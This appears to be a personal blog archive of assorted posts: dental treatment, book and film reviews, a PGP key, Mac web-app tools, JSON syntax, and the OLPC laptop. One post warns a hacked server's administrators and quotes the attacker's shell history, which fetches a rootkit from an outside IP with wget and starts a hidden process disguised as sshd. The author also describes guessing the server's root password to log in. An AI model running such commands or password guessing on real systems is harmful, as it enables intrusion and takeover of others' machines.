I have been rather lucky at the dentist so far: Even though I have always been eating a lot of sweets (which did not make me fat, either) and am not very dedicated or proficient with the tooth brush, I was spared cavities until my early twenties. I believe I can thank the daily fluoride tablets that I had as a child for that. Before coming to Japan I had minor cavities on three adjacent teeth on the lower right, the kind that the dentist would find during the annual inspection and immediately take care of. And three years ago there was a painful wisdom tooth that the dentist decided to extract rather than try to repair.

But now I am in the middle of root canal treatment. Two weeks ago at the regular check-up the dentist made the shocking discovery of advanced dental caries on the second upper left molar. He was surprised that I was not in pain already. I was surprised that the problem was not detected at the last check half a year ago. The damage is supposedly also clearly visible on the x-ray that was taken, although I have to take the dentist's word for that, I cannot make sense of it at all.

At least in Japan, a root canal treatment takes five or six sessions, with about a week in between. I just had the first one, in which the tooth was drilled open to remove the dental pulp, filled up with some medicine/disinfectant/anti-biotic and temporarily closed. The procedure was done anaesthetised and completely painless (thanks!). I am assuming that the scariest part of the operation is behind me now. The drugs have worn off, I had meals, and the tooth feels only a little uncomfortable. The next three sessions will be opening the tooth again to renew the medicine filling and check on its effectiveness (for which anaesthetics are not necessary). After that the tooth will be filled with (according to Wikipedia) gutta-percha, a natural latex, and capped with a crown, which apparently is rather critical/complex/costly procedure in itself.

What I did was take all the spades out of a deck of cards plus a joker. Ace to King = 1-13. Joker = 14. I shuffled the cards and dealt them. The order in which they came out of the deck became the order of the stories, based on their position in the list my publisher sent me. And it actually created a very nice balance between the literary stories and the all-out screamers. I also added an explanatory note before or after each story, depending on which seemed the more fitting position. Next collection: selected by Tarot.

A collection of fourteen short stories (ranging from about twenty to about eighty pages) about undergoing an autopsy while still alive, meeting The Man in the Black Suit, a travelling salesman contemplating suicide, gangsters in the Thirties, escape from a torture chamber, vampires in the West, occult symbols that can kill, a theory of pets, a scary painting that keeps changing, a crazy restaurant waiter and his big knife, the feeling you can only say what it is in French, a haunted hotel room, hitchhiking with the undead, and a lucky quarter.

Dear server administrators,

I think your server (72.249.xx.xx) has been hacked and is being used
for malicious purposes right now.

During a routine check of my own server (based in Germany) I found
that it was being attacked (brute-force password guessing) from
72.249.xx.xx, which is your server.

Trying to find out what to do about this, I tried to log in (via ssh)
to your server, which was trivially possible (the root password is
very, very simple, I guessed it on my first attempt).

Please change your password ASAP.

While logged in to your server, I could see that a process
was probing other servers on the Internet to find more weak passwords.
I also saw another user logged in (as root) from 79.116.xx.xx,
which may or may not be the attacker.

Since I have no business nosing around on your server, I logged out
again without doing anything.

Best regards,

Thilo Planz

I wish my UNIX-fu was stronger, I did not really know what to do about this, which is probably a good thing, since I really have no business being on their server. But still, I felt like killing this guy's processes and blocking his IP. Although, I suppose this whole thing is an automated process, and he would not even notice me slapping his fingers.

What I could see is that he was spawning lots of ssh processes, apparently searching whole IP ranges for easy root passwords (which is how he must have gotten to this American high school's server).

The command history had this interesting sequence, which downloads a root kit and then starts a hidden web server to propagate itself or maybe remotely control the machine.

  252  cd /var/tmp
  253  ls -a
  254  wget http://63.249.225.72/icons/stealth.tgz
  255  tar zxvf stealth.tgz
  256  rm -rf stealth.tgz
  257  mv l .ls
  258  cd .ls
  259  ./h -s "/usr/sbin/sshd" ./httpd

Alan has just sold his shop and purchased a house that he plans to write his story in. He spends the rest of his time helping Kurt with his project to set up a free neighbourhood Wi-Fi network. Adam's peace is destroyed by visits from his younger brothers Eric, Fred, and George, who are a set of Russian nesting dolls (Alvin comes closest to human in his family: his father is a mountain, his mother a washing machine, the other brothers Ben, Charlie, and Dean are a psychic, an island and undead). As children, they have jointly murdered Daniel, who was intolerable in the first place and is now really angry, apparently planning to revenge himself by killing his brothers.

Sometimes billed as science-fiction, I would rather call Someone a fantasy or a horror novel. I really liked the part about Albert's family (and hope to see a future short story based in that world). The real-world subplot about the Wi-Fi network felt out of place, however. I see the need for showing how he interacts with humans, but it just felt like a lecture. It would have been more interesting to for example follow Aaron's house remodelling efforts, or maybe have him open another shop.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I'd like to experiment with signed and encrypted email.
So if anyone is using OpenPGP, please let me know your 
public keys.

Mine is:

mQGiBEhtwQARBACWVpAxTId7ZoUMoLkbjKGMqAszgEvmEyJO2H6gxhmhDkFVYgAJ
iH/PPZxS8fE/n5KOZBjgVGdW+BMQQknjMWMjLSvIf1/LNxE9pYeoBMVfZTXHycXk
+wd3JxFEqlDbW8WZMQQiLAkxpE7B2gtmyQhoCT9w/ZIkmZYjDnYL+TJpPwCgxLkj
4LXaEXFnNn3Z7PpJ7I7Uk1MEAJMuZbPpf/YT0rx9enEHmwrTs9QV5+Qif2NR44oe
p0ZlJXBcShY1TX3yVDwVS9wkpIGupzsNToJd5zw4U7u4rI/vPCs6F3n6wVbuXXfC
Jv/hODPxSHMVTp/Iy3EVn3Yrkmp7IordwKeTPEbG98z7erg4bq6Ox36lgILGfTST
ywyfA/0b8ZUQ5jyZ8XdEmCt5ntpgjjMqJT+bYCot/iaJoI5Io4cyURqe062r9PWY
jXqn2LTqTOPStp6CaV0zPgRE8cHe3LDuR9loqxme/WYIDnWsV0yLt80SUL5j0qh+
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ORbGybbrYxSthFSY7osu7RuEc0SrWNp99XswdcQYfW2nMtQ1aXfA3/PqE2kqgFvd
566eKxAmydbUTAes8CvbavEFejMfeix9bEeG/Pnn55oKemHn915VqBpCa/FWZh1+
uLlzTPU+5Igdrrvydr7u0ZlWT6GvwHP8jCA/wfG5+WrUAY8V6QRLwDiSWaJ4u57s
LdU6yGtsvY/VN08v/VCMsua4TYNquHWYpIDHqx9B4i8lI7BHDzmg5qzNN5TZjee1
dCzSmioyYWVbAAMGCAC95phNlsE8+rJpRpD9N1S2s9X9PpGjaZa1AWbGHTQGE/xa
FveeWrxjaKRBuVa5mmSYDjdu++vBAQInCKtwKV3KK6343GhV4Bh6yCfpH/k4v6ts
W+fArL0EXukOklimrHrP+VFvXKU8CPUzdtAtVt/+5dPbJ0CAQXAUkMG26ytF28Nm
dY8AXKbk45F7Eu74QeCjiBPA0B3YODEB5kQi0g0SW4mkpFrlU02p2z1NAKPx9WkP
Rozp+bAFq6jF5YYOrMRYU/eSc0ABZqRydoufeD8JSvU5CNYW9xE2RhwnUhXPiuL4
4Qp6v73ePmI3nkq2nVRfBym77QQ6GB1Dfsetc20JiE8EGBECAA8FAkhtwQACGwwF
CQPCZwAACgkQ2OZWDeB+PHWg8wCfb9ppOAIsCwe5zcKK2nl7P6H5v+8AoIMP74NP
wwFXSu3SGVRLUnUtq37m
=r7dz

Thanks,

Thilo
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Version: GnuPG v1.4.8 (Darwin)

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=O8Vg
-----END PGP SIGNATURE-----

For years now, the Tokyo trains and subway stations have been advertising that the police are now on high alert, that increased security is being implemented and that any suspicious persons, objects or activities are to be reported immediately. Thanks to the upcoming G8 summit in Japan, they are currently putting some extra effort into it, such as shutting down all coin lockers in subway stations.

The most merciful thing in the world, I think, is the inability of the human mind to correlate all its contents. We live on a placid island of ignorance in the midst of black seas of infinity, and it was not meant that we should voyage far. The sciences, each straining in its own direction, have hitherto harmed us little; but some day the piecing together of dissociated knowledge will open up such terrifying vistas of reality, and of our frightful position therein, that we shall either go mad from the revelation or flee from the deadly light into the peace and safety of a new dark age.

One of the best-known horror short stories, The Call of Cthulhu is presented in documentary style, as a series of notes found among the papers of the late Francis Wayland Thurston, of Boston. Mr. Thurston himself has been pulled into the mystery by stumbling upon notes left behind by his late grand-uncle, who in turn had been piecing together reports about outlandish rituals and outbreaks of mania, as they happened around the world, while still strangely connected to each other.

凯 [kai]

triumphant; victorious ...

爱德华

Edward ...

爱 [ai]

love; affection; to treasure ...

德 [de]

virtue; kindness; heart; mind ...

德国 [de guo]

Germany ...

华 [hua]

China; magnificent ...

For the last few months, I have been using Mozilla Prism to read my (Google) mail. Prism turns web pages into standalone applications so that I do not have to log in to my Google account with my main web browser.

Today I switched to Fluid, which is a Mac-only (Leopard-only, in fact) application that does the same thing, but is more polished than Prism. For one thing, it is more tightly integrated with the Mac: The GMail application it creates is a real standalone native application (works better in the Dock than GMail Prism, which was only a document), it uses Growl notifications and software auto-update, there is a full screen mode, and it can also create MenuExtras (so that you could get the latest slashdot articles in a pulldown next to the battery life indicator). It is based on WebKit rather than Gecko, has a lot of preference panels, and you can write extensions using Greasemonkey-compatible JavaScript or Objective-C. I also had a weird performance issue with GTalk in GMail in Prism (typing into the chat window was painfully slow), that I expect to be gone now.

Update: One problem with using Fluid is that apparently all WebKit applications share the same browser cookie storage (and there seems to be no way to turn that off). This makes it currently impossible to keep login information separate from Safari, and between Fluid applications. Fortunately, I do not use Safari, and Camino and Firefox of course have their own cookie jars. On the other hand, a lot of applications embed WebKit these days, and I am not at all comfortable with the notion that they all potentially leak state and clobber themselves.

Marcus is a high school student in San Francisco. He is smart and tech-savvy enough to outwit his school's surveillance systems (keystroke loggers on the classroom laptops, RFID on library books, gait recognition cameras), so that he can chat and surf during classes and leave the school grounds unnoticed. Then terrorists blow up the Bay Bridge and the Department of Homeland Security takes over control of the city, implementing all kinds of security measures. Marcus' attitude towards authority, combined with his technical skills, do not go over well with the DHS and they give him a hard time, which motivates him to put his energy to sabotaging the war on terror, trying to show the insanity and futility of that campaign, while putting him and his friends at a much greater personal risk than he could ever have imagined.

Needless to say, this is a very political book, trying to raise awareness about how Western democracies are quickly turning into police states. It is also spiked with interesting technology pieces, all of which seem much more science than fiction, most of which are probably already in place. In fact, reading it alongside with real news articles is more than a bit scary.

It's a boy!

I have written about my troubles with using the XO as a book reader before, and while nothing much has changed software-wise, the recent success of Amazon's Kindle and Apple's iPhone, both of which make excellent readers, has revived the eBook business and some of the new content is accessible on the XO as well.

There are basically three big sources for eBooks: Project Gutenberg, Creative Commons, and commercial publishers. Project Gutenberg is the largest collection of free eBooks, which it creates from works that are (under US copyright law) in the public domain. Because copyright law has repeatedly been changed to automatically extend copyright protection, very few works published after 1923 are in the public domain, which is a big issue for music and movies, but fortunately does not affect a large bulk of world literature. The Creative Commons are a family of copyright licenses that are less restrictive than traditional publication licenses. It particular, they allow for redistribution and derivative works. Finally, there are commercial eBook publishers, such as Amazon, but they usually require copy-protection software that allow the book to be read only on specific devices (and not the XO-1).

A nice collection of freely downloadable books is ManyBooks.net (which is apparently being run by one guy and served off his Mac mini.) ManyBooks republishes Project Gutenberg texts, together with public domain or creative commons works from other sources. All the books are available in a number of different formats, so that you can choose the one that best works on your reader.

iPhone PDF looks great on the XO-1. Now I only wished that the Reader application could remember what page I last stopped reading. That it does not do that is especially weird considering that the Journal shows a thumbnail image of that page. Thankfully the PDF starts out with a chapter index of clickable links.

If you can read this, the move to the new server worked. If anything seems to be not working properly, please let me know.

The new machine is a not a real piece of hardware, but a virtual server, the main benefits being that it is cheaper, and easier to backup or transport. It also helps save resources by avoiding unused capacities that would still consume electricity and rack space. The drawback is that it has to share CPU and memory with other virtual servers, but considering that the hardware it is replacing was five years old, there is probably still a net power gain. Only disk space is a little slim now (ten gigabytes instead of thirty-two).

After Obi-Wan Kenobi, Rocky Balbao, John McClane, John Rambo, and Ellen Ripley it is Dr. Henry Jones, Jr.'s turn to bring an iconic movie trilogy and his aged self back to the silver screen. The film is getting a lot of harsh criticism from die-hard fans, who are always quick to compare it to the widely reviled Star Wars prequels and blame George Lucas for the use of CGI, for the presence of aliens, for unrealistic action sequences, and a silly plot. But I think Indy is doing okay, and also keeping to the style of the series. The biggest difference between Kingdom and the earlier films may not be Soviets instead of Nazis, or extraterrestrial instead of religious artefacts, but the fact that, just like Indy himself, his original audience is twenty years older now.

7 points

Now, there is an uninspiring chart. Maybe I need to tweak the scales a little. Strictly speaking, though, I am at my fattest in recorded history.

Gibson and Sterling collaborate to create an alternate nineteenth century, where Babbage's Analytical Engine has actually been built and the Information Revolution coincides with (and propels) the Industrial Revolution. Power in Victorian England has been seized by the Industrial Radical Party, with hereditary lords and Luddites alike being pushed to the sidelines.

The book is a mostly atmospheric piece with several vignettes (translation: it is a bit in want of a coherent story), that detail episodes in the lives of Londoners at the time: A prostitute who gets caught up in political spheres, a palaeontologist who stumbles upon a stack of Engine cards and into a violent riot, and a diplomat/spy who is plagued by visions of an all-seeing Eye.

In spite of the shift from cyberpunk to steampunk, the genre's typical topics are all to be found: The subculture of the tech-savvy clackers that know how to program the steam-powered Engines (using punch-cards), the dystopian view of the ever-watchful, data-gathering surveillance state, the mysterious and dangerous artefact that serves to drive the story (in this case a stack of cards created by the Queen of Engines, Ada Lovelace), even the fascination with Japan (which here has just opened itself to the world and is about to have its own Industrial Revolution).

JSON, which stands for JavaScript Object Notation is a lightweight data-interchange format. Lightweight means that the standard is very concise, there is not too much overhead (boilerplate) in the data files, and the format is easy to read and write for both humans and machines. It is generally used as a replacement for XML (which kind of fails on all three counts), and has gained popularity with the advent of Web 2.0 and AJAX (even though the X in AJAX stands for XML).

I have so far been using JSON only informally to pass data around in JavaScript applications, but when starting to work with JSON in Java (using proper codec libraries), I found out that unfortunately quite a bit of the syntactic sugar for object literals in JavaScript has been removed from JSON, ostensibly to make it even easier to write parsers, but at the expense of convenience for human authors. The following is valid JavaScript, but not valid JSON:

{   a :  1,  /* set a to 1*/
    b : 'two'
}

• no barewords allowed for keys
• string literals have to be double-quoted
• no comments allowed

If you want to write valid JSON, you have to say

{
    "a" : 1,
    "b" : "two" 
}

This does not make the format all that much easier to hand-write than XML anymore (although there are still less keystrokes involved), and it is also confusing for JavaScript coders, who are bound to create a lot of pseudo-JSON that works just fine within the realm of JavaScript. Maybe I should take another look at YAML.

PS: I would really want to also be able to write the trailing comma like I do in Perl or Java, which is not valid in JavaScript either, even though it works on Firefox (but only there):

{   a :  1,  /* set a to 1*/
    b : 'two',  // trailing comma makes it easier to add or re-arrange lines
}

After a year back in London, the four teenage heroes of the first Narnia movie (and book) are thrust back into their fantasy kingdom when Prince Caspian, on the run from his evil uncle, sounds a magic horn. During their absence of more than a thousand years, Narnia has been overrun by human invaders, the Talking Beasts driven into the wilderness and near extinction.

5 points

Cissy's parents arrived from Shanghai last weekend, and are going to stay with us for three months. And I still don't speak a word of Chinese ...

Due to a recent and very controversial decision, the XO will very soon be available with a choice of two operating systems: the Linux-based Sugar that was specifically developed for it, and Windows XP. This move will certainly cost the OLPC community dearly as far as the hearts and minds of the geek community are concerned, but if it helps to keep the OLPC project on track with its task to deliver low-cost laptops and quality education to children in need, it may be a good thing. One has to wonder, though, how this affects the overall concept of this venture (the previous focus on complete openness and hackability, as well as trying to break out of established business partnerships between poor countries and First World corporations come to mind), and how much different the XO is now from other ultra-portables, or second-hand regular computers.

The version of XP is apparently the same that is being offered on the Asus Eee, with Microsoft having spent some serious developer time to add support for various XO hardware features, such as the rotating screen. The innovative mesh networking, however will initially not be supported. The price of the machine will increase by ten dollars (3 dollars for Windows, 7 dollars for the extra memory that it needs).

The current operating system, which so far has failed to make too good a job of integrating with the device, will still be available as an option, probably also as a dual-boot solution. The Sugar developers have meanwhile set up Sugar Labs, with the stated goal of bringing Sugar to the next level of usability and utility, on or off the OLPC.

Myself, I am waiting for Update One of the OLPC software to bring much-needed power management improvements and iron out some of the minor annoyances I have been writing about.